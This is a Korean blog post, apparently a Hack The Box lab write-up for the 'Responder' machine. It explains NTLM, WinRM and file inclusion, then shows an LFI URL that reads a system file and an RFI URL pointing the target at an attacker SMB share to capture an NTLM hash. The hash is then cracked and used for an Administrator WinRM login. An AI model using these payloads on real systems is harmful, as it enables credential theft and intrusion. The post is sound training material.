Hack The Box/Lab

Responder - NTLM & winRM & LFI & RFI

YujinSec 2026. 4. 30. 10:13

1. 기본 개념
0) nmap
- port-services db 활용
- 항상 믿지는 말자,,
 
1) window 
- 시장 85% 점유율 > 고로 공격 대상 많이 됨. 
- 대부분 윈도우 도메인 네트워크 구축으로 active directory 방식 사용.
- 인증 서비스: NTLM, Kerberos
 
NTLM (=New Technology LAN Manager)
- microsoft가 만든 인증 프로토콜 집합
- Challenge-Response: active directory 도메인 환경에서 클라이언트를 특정 리소스에 인증해줌. 
- SSO(= Single Sign-On): 한 번 로그인만 하면. 이후 여러 자원 접근에 재사용 가능함. 
 
> 인증과정은?
1. 클라이언트 -> 서버: 사용자 이름, 도메인 이름 전송
2. 서버: Challeng 생성 = 무작위 문자열 생성
3. 클라이언트 -> 서버: 사용자 비밀번호에 대한 NTLM해시로 Challenge를 암호화한 후, 서버로 전송함
4. 서버: 사용자 비번 조회
5. 서버: 계정 db에 저장된 해시값으로 Challenge암호화해서, 클라이언트와 보낸 값과 동일하다면 인증 ok!
 
*hash 함수: 데이터를 고정 길이 값으로 변환해줌. 
*NTLM: 인증 프로토콜의 일종
*NThash(=NTLM hash): 윈도우 시스템 상의 SAM db나 도메인 컨트롤러에 저장되는 비밀번호 해시 결과. 
*NetNTLMv2(= NetNTLMv2 hash ): 네트워크 인증 과정에서 오가는 Challenge/Response 데이터
 
 
2) WinRM(= Windows Remote Management )
포트: 5985
- 그냥 원격 기능 다 수행 가능~ => 그냥 ssh의 window 버전이라 생각하면 됨!
- soap(=Simple Object Access Protocol) 사용
=> 목표: 원격 관리 권한을 획득해 파워셸을 따내자!
 
리눅스에서 윈도우rm접속하려면?
툴:evil-winrm 사용
 
3) 호스트 ip변환
ip가 로딩 안 되면 /etc/hosts 파일에 추가 필요. 

echo "10.129.128.223 unika.htb" | sudo tee -a /etc/hosts

 
4) LFI = Local File Inclusion
: 파일 경로를 입력해 파일 내용 추적하는 공격
../ : 맨 위 c 드라이브까지 올라가도록 여러 개 사용
>  WINDOWS\System32\drivers\etc\hosts: 흔히 사용하는 추적하고자 하는 파일. 
 
include() 메소드: 코드 내의 특정 파일을 읽도록 하는 함수. 
파일 내용이 포함된다 생각하면 됨. (그 파일에 있는 변수 접근 가능 같이,,)
 
+RFI = remote file inclusion
: 원격 외부 파일을 include하는 공격 
ex) //10.10.14.6/somefile
 
5) php 설정
- allow_url_include
- allow_url_fopen
> 둘 다 off임. LFI를 방지하기 위함.
>> BUT! smb url 로딩에 대한 LFI까지는 차단하지 않는다,,!
 
6) responder
설치)

git clone https://github.com/lgandx/Responder

 
작동 순서)
 
1. responder -> 서버: Challenge값 전송
2. 서버: 사용자 비번 기반으로 Challenge 암호화 
3. 서버 -> responder: NetNTLMv2 데이터 획득: Challenge & 암호화 
=> 이 responder를 통해 획득한 값을 활용해, 브루투 포스로 비밀번호 후보들과 비교해보면 끝!
 
툴 사용법)
smb에서 활용해보자!
python3로 실행함. 
- I: 수신할 네트워크 인터페이스 지정
 
해시 크래킹: 해시값만 보고 원래 비밀번호를 찾는 일. 
> 툴: John the Ripper
 
 
2. 문제 풀이
2개 포트. 하나는 일반 http, 하나는 WinRM임. 

일단 해당 ip로 접속 시도 ㄱ. 안 뜸. 

이럴 때는 ip와 저 이름을 연결해줄 필요가 있다. 

 
그리고 다시 새로고침 해본다. 

위 url창을 보면, 언어를 바꿀 때 인자 page가 생김. 

이 인자를 활용해 LFI가 존재하는지 확인해본다. 
http://unika.htb/index.php?page=../../../../../../../../windows/system32/drivers/etc/hosts

일단 LFI는 존재함 확인 완. 
 
이제 Responder를 활용할 차례임. 일단 smb url 사용하기로 했으니, 그 url이 on상태인지만 점검하자. 

on상태임을 확인 완.
 
그럼 responder를 켜준다. 
그전에 우리 인터페이스 주소도 알아야 함. 
ifconfig로 확인. 

 
responder를 켜서 우리 인터페이스 tun0을 리스닝 상태로 연결해둠. 

뭔가 막 줄에 에러가 뜨긴하지만, 일단 작동함. 
 
이제 다시 웹 페이지로 가서, ifconfig로 확인한 인터페이스 주소를 뒤에 치고 검색해본다. 그럼 에러라고 뜨지만, 우리 리스닝 포트 상으로는 NTLM 해시가 들어옴. 뒤 폴더명은 그냥 아무거나 쳐줘도 ㄱㅊ. 
=> 내가 SMB 서버인거고, 저렇게 URL을 넘기면 자동으로 저 대상 서버 -> 우리 인터페이스 로 들어오려고 함. 이때 대상 서버의 해시를 responder에 전송하게 되며 우리가 해시를 읽을 수 있는 것. 
 
url: http://unika.htb/index.php?page=//10.10.15.217/so

저 해시는 따로 파일로 저장. 

 
워드 리스트도 지정해줘서(압축 해제 필요) john-the-ripper 실행 ㄱ. 
자동으로 해시 유형은 식별해 줌. 
이제 저 john 툴이 비번 값을 Challenge로 변화시켜 하나씩 비번과 대조해봄. 

크래킹 완! 
계정명 Administrator에 비번은 badminton임. 
 
마지막 과정만 남음. 
앞 포트에서 winRM이 연결됨을 확인했으니, 그 winRM에 접속만 하면 끝이다. 

위 폴더로 올라가서 찾아보자. 

플래그 발견!

 

'Hack The Box > Lab' 카테고리의 다른 글

Funnel - 터널링 & PostgreSQL & ss  (0) 2026.05.02
Three - awscli & reverse shell & subdomains  (0) 2026.04.30
Crocodile -wappalyzer  (0) 2026.04.30
Sequel - dbms: mysql  (0) 2026.04.29
Appointment - sql injection  (0) 2026.04.29